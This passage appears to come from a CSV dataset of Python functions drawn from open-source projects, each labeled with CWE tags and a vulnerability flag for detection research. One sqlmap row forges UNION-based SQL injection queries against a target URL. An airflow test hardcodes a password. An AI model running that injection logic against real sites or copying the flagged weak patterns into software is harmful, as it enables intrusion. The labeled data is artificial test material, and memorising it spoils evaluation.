        if model_output_schema := model_metadata.get_output_schema():
            result_type = _infer_spark_udf_return_type(model_output_schema)
        else:
            _logger.warning(
                ""No 'result_type' provided for spark_udf and the model does not ""
                ""have an output schema. 'result_type' is set to 'double' type.""
            )
            result_type = DoubleType()
    else:
        if isinstance(result_type, str):
            result_type = _parse_spark_datatype(result_type)

    if not _check_udf_return_type(result_type):
        raise MlflowException.invalid_parameter_value(
            f""""""Invalid 'spark_udf' result type: {result_type}.
It must be one of the following types:
Primitive types:
 - int
 - long
 - float
 - double
 - string
 - boolean
Compound types:
 - ND array of primitives / structs.
 - struct<field: primitive | array<primitive> | array<array<primitive>>, ...>:
   A struct with primitive, ND array<primitive/structs>,
   e.g., struct<a:int, b:array<int>>.
""""""
        )
    params = _validate_params(params, model_metadata)

    def _predict_row_batch(predict_fn, args):
        input_schema = model_metadata.get_input_schema()
        args = list(args)
        if len(args) == 1 and isinstance(args[0], pandas.DataFrame):
            pdf = args[0]
        else:
            if input_schema is None:
                names = [str(i) for i in range(len(args))]
            else:
                names = input_schema.input_names()
                required_names = input_schema.required_input_names()
                if len(args) > len(names):
                    args = args[: len(names)]
                if len(args) < len(required_names):
                    raise MlflowException(
                        f""Model input is missing required columns. Expected {len(names)} required""
                        f"" input columns {names}, but the model received only {len(args)} ""
                        ""unnamed input columns (Since the columns were passed unnamed they are""
                        "" expected to be in the order specified by the schema).""
                    )
            pdf = pandas.DataFrame(
                data={
                    names[i]: arg
                    if isinstance(arg, pandas.Series)
                    # pandas_udf receives a StructType column as a pandas DataFrame.
                    # We need to convert it back to a dict of pandas Series.
                    else arg.apply(lambda row: row.to_dict(), axis=1)
                    for i, arg in enumerate(args)
                },
                columns=names,
            )

        result = predict_fn(pdf, params)

        if isinstance(result, dict):
            result = {k: list(v) for k, v in result.items()}

        if isinstance(result_type, ArrayType) and isinstance(result_type.elementType, ArrayType):
            result_values = _convert_array_values(result, result_type)
            return pandas.Series(result_values)

        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame([result]) if np.isscalar(result) else pandas.DataFrame(result)

        if isinstance(result_type, SparkStructType):
            return _convert_struct_values(result, result_type)

        elem_type = result_type.elementType if isinstance(result_type, ArrayType) else result_type

        if type(elem_type) == IntegerType:
            result = result.select_dtypes(
                [np.byte, np.ubyte, np.short, np.ushort, np.int32]
            ).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, int]).astype(
                np.int64
            )

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float64)

        elif type(elem_type) == BooleanType:
            result = result.select_dtypes([bool, np.bool_]).astype(bool)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The model did not produce any values compatible with the requested ""
                f""type '{elem_type}'. Consider requesting udf with StringType or ""
                ""Arraytype(StringType)."",
                error_code=INVALID_PARAMETER_VALUE,
            )

        if type(elem_type) == StringType:
            if Version(pandas.__version__) >= Version(""2.1.0""):
                result = result.map(str)
            else:
                result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series(result.to_numpy().tolist())
        else:
            return result[result.columns[0]]

    result_type_hint = (
        pandas.DataFrame if isinstance(result_type, SparkStructType) else pandas.Series
    )

    tracking_uri = mlflow.get_tracking_uri()

    @pandas_udf(result_type)
    def udf(
        iterator: Iterator[Tuple[Union[pandas.Series, pandas.DataFrame], ...]],  # noqa: UP006
    ) -> Iterator[result_type_hint]:
        # importing here to prevent circular import
        from mlflow.pyfunc.scoring_server.client import (
            ScoringServerClient,
            StdinScoringServerClient,
        )

        # Note: this is a pandas udf function in iteration style, which takes an iterator of
        # tuple of pandas.Series and outputs an iterator of pandas.Series.
        update_envs = {}
        if mlflow_home is not None:
            update_envs[""MLFLOW_HOME""] = mlflow_home
        if openai_env_vars:
            update_envs.update(openai_env_vars)
        if mlflow_testing:
            update_envs[_MLFLOW_TESTING.name] = mlflow_testing
        if extra_env:
            update_envs.update(extra_env)

        #  use `modified_environ` to temporarily set the envs and restore them finally
        with modified_environ(update=update_envs):
            scoring_server_proc = None
            # set tracking_uri inside udf so that with spark_connect
            # we can load the model from correct path
            mlflow.set_tracking_uri(tracking_uri)

            if env_manager != _EnvManager.LOCAL:
                if use_dbconnect_artifact:
                    local_model_path_on_executor = (
                        dbconnect_artifact_cache.get_unpacked_artifact_dir(model_uri)
                    )
                    env_src_dir = dbconnect_artifact_cache.get_unpacked_artifact_dir(env_cache_key)

                    # Create symlink if it does not exist
                    if not os.path.exists(prebuilt_env_root_dir):
                        os.symlink(env_src_dir, prebuilt_env_root_dir)
                elif prebuilt_env_uri is not None:
                    # prebuilt env is extracted to `prebuilt_env_nfs_dir` directory,
                    # and model is downloaded to `local_model_path` which points to an NFS
                    # directory too.
                    local_model_path_on_executor = None

                    # Create symlink if it does not exist
                    if not os.path.exists(prebuilt_env_root_dir):
                        os.symlink(prebuilt_env_nfs_dir, prebuilt_env_root_dir)
                elif should_use_spark_to_broadcast_file:
                    local_model_path_on_executor = _SparkDirectoryDistributor.get_or_extract(
                        archive_path
                    )
                    # Call ""prepare_env"" in advance in order to reduce scoring server launch time.
                    # So that we can use a shorter timeout when call `client.wait_server_ready`,
                    # otherwise we have to set a long timeout for `client.wait_server_ready` time,
                    # this prevents spark UDF task failing fast if other exception raised
                    # when scoring server launching.
                    # Set ""capture_output"" so that if ""conda env create"" command failed, the command
                    # stdout/stderr output will be attached to the exception message and included in
                    # driver side exception.
                    pyfunc_backend.prepare_env(
                        model_uri=local_model_path_on_executor, capture_output=True
                    )
                else:
                    local_model_path_on_executor = None

                if check_port_connectivity():
                    # launch scoring server
                    server_port = find_free_port()
                    host = ""127.0.0.1""
                    scoring_server_proc = pyfunc_backend.serve(
                        model_uri=local_model_path_on_executor or local_model_path,
                        port=server_port,
                        host=host,
                        timeout=MLFLOW_SCORING_SERVER_REQUEST_TIMEOUT.get(),
                        enable_mlserver=False,
                        synchronous=False,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                        model_config=model_config,
                    )

                    client = ScoringServerClient(host, server_port)
                else:
                    scoring_server_proc = pyfunc_backend.serve_stdin(
                        model_uri=local_model_path_on_executor or local_model_path,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                        model_config=model_config,
                    )
                    client = StdinScoringServerClient(scoring_server_proc)

                _logger.info(""Using %s"", client.__class__.__name__)

                server_tail_logs = collections.deque(
                    maxlen=_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP
                )

                def server_redirect_log_thread_func(child_stdout):
                    for line in child_stdout:
                        decoded = line.decode() if isinstance(line, bytes) else line
                        server_tail_logs.append(decoded)
                        sys.stdout.write(""[model server] "" + decoded)

                server_redirect_log_thread = threading.Thread(
                    target=server_redirect_log_thread_func,
                    args=(scoring_server_proc.stdout,),
                    daemon=True,
                )
                server_redirect_log_thread.start()

                try:
                    client.wait_server_ready(timeout=90, scoring_server_proc=scoring_server_proc)
                except Exception as e:
                    err_msg = (
                        ""During spark UDF task execution, mlflow model server failed to launch. ""
                    )
                    if len(server_tail_logs) == _MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP:
                        err_msg += (
                            f""Last {_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP} ""
                            ""lines of MLflow model server output:\n""
                        )
                    else:
                        err_msg += ""MLflow model server output:\n""
                    err_msg += """".join(server_tail_logs)
                    raise MlflowException(err_msg) from e

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(client.invoke).parameters.get(""params""):
                        return client.invoke(pdf, params=params).get_predictions()
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return client.invoke(pdf).get_predictions()

            elif env_manager == _EnvManager.LOCAL:
                if use_dbconnect_artifact:
                    model_path = dbconnect_artifact_cache.get_unpacked_artifact_dir(model_uri)
                elif is_spark_connect and not should_spark_connect_use_nfs:
                    model_path = os.path.join(
                        tempfile.gettempdir(),
                        ""mlflow"",
                        hashlib.sha1(model_uri.encode(), usedforsecurity=False).hexdigest(),
                        # Use pid to avoid conflict when multiple spark UDF tasks
                        str(os.getpid()),
                    )
                    try:
                        loaded_model = mlflow.pyfunc.load_model(
                            model_path, model_config=model_config
                        )
                    except Exception:
                        os.makedirs(model_path, exist_ok=True)
                        loaded_model = mlflow.pyfunc.load_model(
                            model_uri, dst_path=model_path, model_config=model_config
                        )
                elif should_use_spark_to_broadcast_file:
                    loaded_model, _ = SparkModelCache.get_or_load(archive_path)
                else:
                    loaded_model = mlflow.pyfunc.load_model(
                        local_model_path, model_config=model_config
                    )

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(loaded_model.predict).parameters.get(""params""):
                        return loaded_model.predict(pdf, params=params)
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return loaded_model.predict(pdf)

            try:
                for input_batch in iterator:
                    # If the UDF is called with only multiple arguments,
                    # the `input_batch` is a tuple which composes of several pd.Series/pd.DataFrame
                    # objects.
                    # If the UDF is called with only one argument,
                    # the `input_batch` instance will be an instance of `pd.Series`/`pd.DataFrame`,
                    if isinstance(input_batch, (pandas.Series, pandas.DataFrame)):
                        # UDF is called with only one argument
                        row_batch_args = (input_batch,)
                    else:
                        row_batch_args = input_batch

                    if len(row_batch_args[0]) > 0:
                        yield _predict_row_batch(batch_predict_fn, row_batch_args)
            finally:
                if scoring_server_proc is not None:
                    os.kill(scoring_server_proc.pid, signal.SIGTERM)

    udf.metadata = model_metadata

    @functools.wraps(udf)
    def udf_with_default_cols(*args):
        if len(args) == 0:
            input_schema = model_metadata.get_input_schema()
            if input_schema and len(input_schema.optional_input_names()) > 0:
                raise MlflowException(
                    message=""Cannot apply UDF without column names specified when""
                    "" model signature contains optional columns."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            if input_schema and len(input_schema.inputs) > 0:
                if input_schema.has_input_names():
                    input_names = input_schema.input_names()
                    return udf(*input_names)
                else:
                    raise MlflowException(
                        message=""Cannot apply udf because no column names specified. The udf ""
                        f""expects {len(input_schema.inputs)} columns with types: ""
                        ""{input_schema.inputs}. Input column names could not be inferred from the""
                        "" model signature (column names not found)."",
                        error_code=INVALID_PARAMETER_VALUE,
                    )
            else:
                raise MlflowException(
                    ""Attempting to apply udf on zero columns because no column names were ""
                    ""specified as arguments or inferred from the model signature."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            return udf(*args)

    return udf_with_default_cols"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/runtests.py,0,"def main():
    # The -W command-line option does not work in a virtualenv with
    # python 3 (as of virtualenv 1.7), so configure warnings
    # programmatically instead.
    import warnings
    # Be strict about most warnings.  This also turns on warnings that are
    # ignored by default, including DeprecationWarnings and
    # python 3.2's ResourceWarnings.
    warnings.filterwarnings(""error"")
    # setuptools sometimes gives ImportWarnings about things that are on
    # sys.path even if they're not being used.
    warnings.filterwarnings(""ignore"", category=ImportWarning)
    # Tornado generally shouldn't use anything deprecated, but some of
    # our dependencies do (last match wins).
    warnings.filterwarnings(""ignore"", category=DeprecationWarning)
    warnings.filterwarnings(""error"", category=DeprecationWarning,
                            module=r""tornado\..*"")
    warnings.filterwarnings(""ignore"", category=PendingDeprecationWarning)
    warnings.filterwarnings(""error"", category=PendingDeprecationWarning,
                            module=r""tornado\..*"")
    # The unittest module is aggressive about deprecating redundant methods,
    # leaving some without non-deprecated spellings that work on both
    # 2.7 and 3.2
    warnings.filterwarnings(""ignore"", category=DeprecationWarning,
                            message=""Please use assert.* instead"")
    warnings.filterwarnings(""ignore"", category=PendingDeprecationWarning,
                            message=""Please use assert.* instead"")
    # Twisted 15.0.0 triggers some warnings on py3 with -bb.
    warnings.filterwarnings(""ignore"", category=BytesWarning,
                            module=r""twisted\..*"")
    if (3,) < sys.version_info < (3, 6):
        # Prior to 3.6, async ResourceWarnings were rather noisy
        # and even
        # `python3.4 -W error -c 'import asyncio; asyncio.get_event_loop()'`
        # would generate a warning.
        warnings.filterwarnings(""ignore"", category=ResourceWarning,  # noqa: F821
                                module=r""asyncio\..*"")

    logging.getLogger(""tornado.access"").setLevel(logging.CRITICAL)

    define('httpclient', type=str, default=None,
           callback=lambda s: AsyncHTTPClient.configure(
               s, defaults=dict(allow_ipv6=False)))
    define('httpserver', type=str, default=None,
           callback=HTTPServer.configure)
    define('ioloop', type=str, default=None)
    define('ioloop_time_monotonic', default=False)
    define('resolver', type=str, default=None,
           callback=Resolver.configure)
    define('debug_gc', type=str, multiple=True,
           help=""A comma-separated list of gc module debug constants, ""
           ""e.g. DEBUG_STATS or DEBUG_COLLECTABLE,DEBUG_OBJECTS"",
           callback=lambda values: gc.set_debug(
               reduce(operator.or_, (getattr(gc, v) for v in values))))
    define('locale', type=str, default=None,
           callback=lambda x: locale.setlocale(locale.LC_ALL, x))

    def configure_ioloop():
        kwargs = {}
        if options.ioloop_time_monotonic:
            from tornado.platform.auto import monotonic_time
            if monotonic_time is None:
                raise RuntimeError(""monotonic clock not found"")
            kwargs['time_func'] = monotonic_time
        if options.ioloop or kwargs:
            IOLoop.configure(options.ioloop, **kwargs)
    add_parse_callback(configure_ioloop)

    log_counter = LogCounter()
    add_parse_callback(
        lambda: logging.getLogger().handlers[0].addFilter(log_counter))

    # Certain errors (especially ""unclosed resource"" errors raised in
    # destructors) go directly to stderr instead of logging. Count
    # anything written by anything but the test runner as an error.
    orig_stderr = sys.stderr
    sys.stderr = CountingStderr(orig_stderr)

    import tornado.testing
    kwargs = {}
    if sys.version_info >= (3, 2):
        # HACK:  unittest.main will make its own changes to the warning
        # configuration, which may conflict with the settings above
        # or command-line flags like -bb.  Passing warnings=False
        # suppresses this behavior, although this looks like an implementation
        # detail.  http://bugs.python.org/issue15626
        kwargs['warnings'] = False
    kwargs['testRunner'] = test_runner_factory(orig_stderr)
    try:
        tornado.testing.main(**kwargs)
    finally:
        # The tests should run clean; consider it a failure if they
        # logged anything at info level or above.
        if (log_counter.info_count > 0 or
                log_counter.warning_count > 0 or
                log_counter.error_count > 0 or
                sys.stderr.byte_count > 0):
            logging.error(""logged %d infos, %d warnings, %d errors, and %d bytes to stderr"",
                          log_counter.info_count, log_counter.warning_count,
                          log_counter.error_count, sys.stderr.byte_count)
            sys.exit(1)",CWE-Unknown,tornadoweb/tornado,1a9b9939376b80d9f053734f539b860e0dca1aff,"def main():
    # The -W command-line option does not work in a virtualenv with
    # python 3 (as of virtualenv 1.7), so configure warnings
    # programmatically instead.
    import warnings
    # Be strict about most warnings.  This also turns on warnings that are
    # ignored by default, including DeprecationWarnings and
    # python 3.2's ResourceWarnings.
    warnings.filterwarnings(""error"")
    # setuptools sometimes gives ImportWarnings about things that are on
    # sys.path even if they're not being used.
    warnings.filterwarnings(""ignore"", category=ImportWarning)
    # Tornado generally shouldn't use anything deprecated, but some of
    # our dependencies do (last match wins).
    warnings.filterwarnings(""ignore"", category=DeprecationWarning)
    warnings.filterwarnings(""error"", category=DeprecationWarning,
                            module=r""tornado\..*"")
    warnings.filterwarnings(""ignore"", category=PendingDeprecationWarning)
    warnings.filterwarnings(""error"", category=PendingDeprecationWarning,
                            module=r""tornado\..*"")
    # The unittest module is aggressive about deprecating redundant methods,
    # leaving some without non-deprecated spellings that work on both
    # 2.7 and 3.2
    warnings.filterwarnings(""ignore"", category=DeprecationWarning,
                            message=""Please use assert.* instead"")
    # Twisted 15.0.0 triggers some warnings on py3 with -bb.
    warnings.filterwarnings(""ignore"", category=BytesWarning,
                            module=r""twisted\..*"")
    if (3,) < sys.version_info < (3, 6):
        # Prior to 3.6, async ResourceWarnings were rather noisy
        # and even
        # `python3.4 -W error -c 'import asyncio; asyncio.get_event_loop()'`
        # would generate a warning.
        warnings.filterwarnings(""ignore"", category=ResourceWarning,  # noqa: F821
                                module=r""asyncio\..*"")

    logging.getLogger(""tornado.access"").setLevel(logging.CRITICAL)

    define('httpclient', type=str, default=None,
           callback=lambda s: AsyncHTTPClient.configure(
               s, defaults=dict(allow_ipv6=False)))
    define('httpserver', type=str, default=None,
           callback=HTTPServer.configure)
    define('ioloop', type=str, default=None)
    define('ioloop_time_monotonic', default=False)
    define('resolver', type=str, default=None,
           callback=Resolver.configure)
    define('debug_gc', type=str, multiple=True,
           help=""A comma-separated list of gc module debug constants, ""
           ""e.g. DEBUG_STATS or DEBUG_COLLECTABLE,DEBUG_OBJECTS"",
           callback=lambda values: gc.set_debug(
               reduce(operator.or_, (getattr(gc, v) for v in values))))
    define('locale', type=str, default=None,
           callback=lambda x: locale.setlocale(locale.LC_ALL, x))

    def configure_ioloop():
        kwargs = {}
        if options.ioloop_time_monotonic:
            from tornado.platform.auto import monotonic_time
            if monotonic_time is None:
                raise RuntimeError(""monotonic clock not found"")
            kwargs['time_func'] = monotonic_time
        if options.ioloop or kwargs:
            IOLoop.configure(options.ioloop, **kwargs)
    add_parse_callback(configure_ioloop)

    log_counter = LogCounter()
    add_parse_callback(
        lambda: logging.getLogger().handlers[0].addFilter(log_counter))

    # Certain errors (especially ""unclosed resource"" errors raised in
    # destructors) go directly to stderr instead of logging. Count
    # anything written by anything but the test runner as an error.
    orig_stderr = sys.stderr
    sys.stderr = CountingStderr(orig_stderr)

    import tornado.testing
    kwargs = {}
    if sys.version_info >= (3, 2):
        # HACK:  unittest.main will make its own changes to the warning
        # configuration, which may conflict with the settings above
        # or command-line flags like -bb.  Passing warnings=False
        # suppresses this behavior, although this looks like an implementation
        # detail.  http://bugs.python.org/issue15626
        kwargs['warnings'] = False
    kwargs['testRunner'] = test_runner_factory(orig_stderr)
    try:
        tornado.testing.main(**kwargs)
    finally:
        # The tests should run clean; consider it a failure if they
        # logged anything at info level or above.
        if (log_counter.info_count > 0 or
                log_counter.warning_count > 0 or
                log_counter.error_count > 0 or
                sys.stderr.byte_count > 0):
            logging.error(""logged %d infos, %d warnings, %d errors, and %d bytes to stderr"",
                          log_counter.info_count, log_counter.warning_count,
                          log_counter.error_count, sys.stderr.byte_count)
            sys.exit(1)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/vmware.py,0,"def wait_for_vm_ip(content, vm, timeout=300):
    facts = dict()
    interval = 15
    while timeout > 0:
        facts = gather_vm_facts(content, vm)
        if facts['ipv4'] or facts['ipv6']:
            break
        time.sleep(interval)
        timeout -= interval

    return facts",,ansible/ansible,190cdd3a297dce141ba52045ddeef3dfbff25917,"def wait_for_vm_ip(content, vm, timeout=300):
    facts = dict()
    interval = 15
    while timeout > 0:
        facts = gather_vm_facts(content, vm)
        if facts['ipv4'] or facts['ipv6']:
            break
        time.sleep(interval)
        timeout -= interval

    return facts"
,UNKNOWN,UNKNOWN,tests/unit/serializers/test_serializers.py,1,"def test_serialize_sls(self):
        data = {
            ""foo"": ""bar""
        }
        serialized = yamlex.serialize(data)
        assert serialized == '{foo: bar}', serialized

        serialized = yamlex.serialize(data, default_flow_style=False)
        assert serialized == 'foo: bar', serialized

        deserialized = yamlex.deserialize(serialized)
        assert deserialized == data, deserialized

        serialized = yaml.serialize(data)
        assert serialized == '{foo: bar}', serialized

        deserialized = yaml.deserialize(serialized)
        assert deserialized == data, deserialized

        serialized = yaml.serialize(data, default_flow_style=False)
        assert serialized == 'foo: bar', serialized

        deserialized = yaml.deserialize(serialized)
        assert deserialized == data, deserialized",CWE-703,saltstack/salt,7e2cd343e187ba18eca44542ebb4f4662b1a9dbe,"def test_serialize_sls(self):
        data = {
            ""foo"": ""bar""
        }
        serialized = yamlex.serialize(data)
        assert serialized == '{foo: bar}', serialized

        deserialized = yamlex.deserialize(serialized)
        assert deserialized == data, deserialized"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=1):
    validPayload = None
    vector = None

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in range(0, count):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed, dbms=dbms)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, place=place, content=True)

        if resultPage and randQuery in resultPage and "" UNION ALL SELECT "" not in resultPage:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, conf.uChar, where)

            if where == 1:
                # Prepare expression with delimiters
                randQuery2 = randomStr()
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2, dbms=dbms)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)

                # Perform the request
                resultPage, _ = Request.queryPage(payload, place=place, content=True)

                if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
                    vector = (position, count, comment, prefix, suffix, conf.uChar, 2)

            break

    return validPayload, vector",,sqlmapproject/sqlmap,be6e2d6a31d752273dd724c7802c2318c5bb6ab6,"def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=1):
    validPayload = None
    vector = None

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for exprPosition in range(0, count):
        # Prepare expression with delimiters
        randQuery = randomStr()
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed, dbms=dbms)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, place=place, content=True)

        if resultPage and randQuery in resultPage and "" UNION ALL SELECT "" not in resultPage:
            validPayload = payload
            vector = (exprPosition, count, comment, prefix, suffix, where)

            if where == 1:
                # Prepare expression with delimiters
                randQuery2 = randomStr()
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2, dbms=dbms)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)

                # Perform the request
                resultPage, _ = Request.queryPage(payload, place=place, content=True)

                if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
                    vector = (exprPosition, count, comment, prefix, suffix, 2)

            break

    return validPayload, vector"
,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/operators/test_redshift_cluster.py,1,"def test_init(self):
        redshift_operator = RedshiftCreateClusterOperator(
            task_id=""task_test"",
            cluster_identifier=""test_cluster"",
            node_type=""dc2.large"",
            master_username=""adminuser"",
            master_user_password=""Test123$"",
        )
        assert redshift_operator.task_id == ""task_test""
        assert redshift_operator.cluster_identifier == ""test_cluster""
        assert redshift_operator.node_type == ""dc2.large""
        assert redshift_operator.master_username == ""adminuser""
        assert redshift_operator.master_user_password == ""Test123$""","CWE-259, CWE-703",apache/airflow,7fda150de7e51e6f89d87918053cb3e46b62169f,"def test_init(self):
        redshift_operator = RedshiftCreateClusterOperator(
            task_id=""task_test"",
            cluster_identifier=""test_cluster"",
            node_type=""dc2.large"",
            master_username=""adminuser"",
            master_user_password=""Test123$"",
        )
        assert redshift_operator.task_id == ""task_test""
        assert redshift_operator.cluster_identifier == ""test_cluster""
        assert redshift_operator.node_type == ""dc2.large""
        assert redshift_operator.master_username == ""adminuser""
        assert redshift_operator.master_user_password == ""Test123$"""
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def get(self):
        # set Content-Encoding manually to avoid automatic gzip encoding
        self.set_header(""Content-Type"", ""text/plain"")
        self.set_header(""Content-Encoding"", ""gzip"")
        # Triggering the potential bug seems to depend on input length.
        # This length is taken from the bad-response example reported in
        # https://github.com/tornadoweb/tornado/pull/2875 (uncompressed).
        body = """".join(""Hello World {}\n"".format(i) for i in range(9000))[:149051]
        body = gzip.compress(body.encode(), compresslevel=6) + b""\00""
        self.write(body)",CWE-Unknown,tornadoweb/tornado,6e47604954280f8f66c1196a16e0d3f5c34dd23f,"def get(self):
        # set Content-Encoding manually to avoid automatic gzip encoding
        self.set_header(""Content-Type"", ""text/plain"")
        self.set_header(""Content-Encoding"", ""gzip"")
        # Triggering the potential bug seems to depend on input length.
        # This length is taken from the bad-response example reported in
        # https://github.com/tornadoweb/tornado/pull/2875 (uncompressed).
        body = """".join(""Hello World {}\n"".format(i) for i in range(9000))[:149051]
        body = gzip.compress(body.encode(), compresslevel=6) + b""\00""
        self.write(body)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_requests.py,0,"def test_session_close_proxy_clear(self, mocker):
        proxies = {
          'one': mocker.Mock(),
          'two': mocker.Mock(),
        }
        session = requests.Session()
        mocker.patch.dict(session.adapters['http://'].proxy_manager, proxies)
        session.close()
        proxies['one'].clear.assert_called_once_with()
        proxies['two'].clear.assert_called_once_with()",,psf/requests,c97a530638bba86576f3e40b49cb0e061b790bdd,"def test_session_close_proxy_clear(self, mocker):
        proxies = {
          'one': mocker.Mock(),
          'two': mocker.Mock(),
        }
        session = requests.Session()
        mocker.patch.dict(session.adapters['http://'].proxy_manager, proxies)
        session.close()
        proxies['one'].clear.assert_called_once_with()
        proxies['two'].clear.assert_called_once_with()"
,UNKNOWN,UNKNOWN,paramiko/client.py,1,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None,
        auth_timeout=None,
        gss_trust_dns=True
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param bool gss_trust_dns: Indicates whether or not the DNS is trusted to
                              securely canonicalize the name of the host being
                              connected to (default ``True``).
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.
        :param float auth_timeout: an optional timeout (in seconds) to wait for
            an authentication response.

        :raises:
            `.BadHostKeyException` -- if the server's host key could not be
            verified
        :raises: `.AuthenticationException` -- if authentication failed
        :raises:
            `.SSHException` -- if there was any other error connecting or
            establishing an SSH session
        :raises socket.error: if a socket error occurred while connecting

        .. versionchanged:: 1.15
            Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
            ``gss_deleg_creds`` and ``gss_host`` arguments.
        """"""
        if not sock:
            errors = {}
            # Try multiple possible address families (e.g. IPv4 vs IPv6)
            to_try = list(self._families_and_addresses(hostname, port))
            for af, addr in to_try:
                try:
                    sock = socket.socket(af, socket.SOCK_STREAM)
                    if timeout is not None:
                        try:
                            sock.settimeout(timeout)
                        except:
                            pass
                    retry_on_signal(lambda: sock.connect(addr))
                    # Break out of the loop on success
                    break
                except socket.error as e:
                    # Raise anything that isn't a straight up connection error
                    # (such as a resolution error)
                    if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
                        raise
                    # Capture anything else so we know how the run looks once
                    # iteration is complete. Retain info about which attempt
                    # this was.
                    errors[addr] = e

            # Make sure we explode usefully if no address family attempts
            # succeeded. We've no way of knowing which error is the ""right""
            # one, so we construct a hybrid exception containing all the real
            # ones, of a subclass that client code should still be watching for
            # (socket.error)
            if len(errors) == len(to_try):
                raise NoValidConnectionsError(errors)

        t = self._transport = Transport(
            sock, gss_kex=gss_kex, gss_deleg_creds=gss_deleg_creds)
        t.use_compression(compress=compress)
        if gss_host is None:
            t.set_gss_host(hostname, gss_trust_dns)
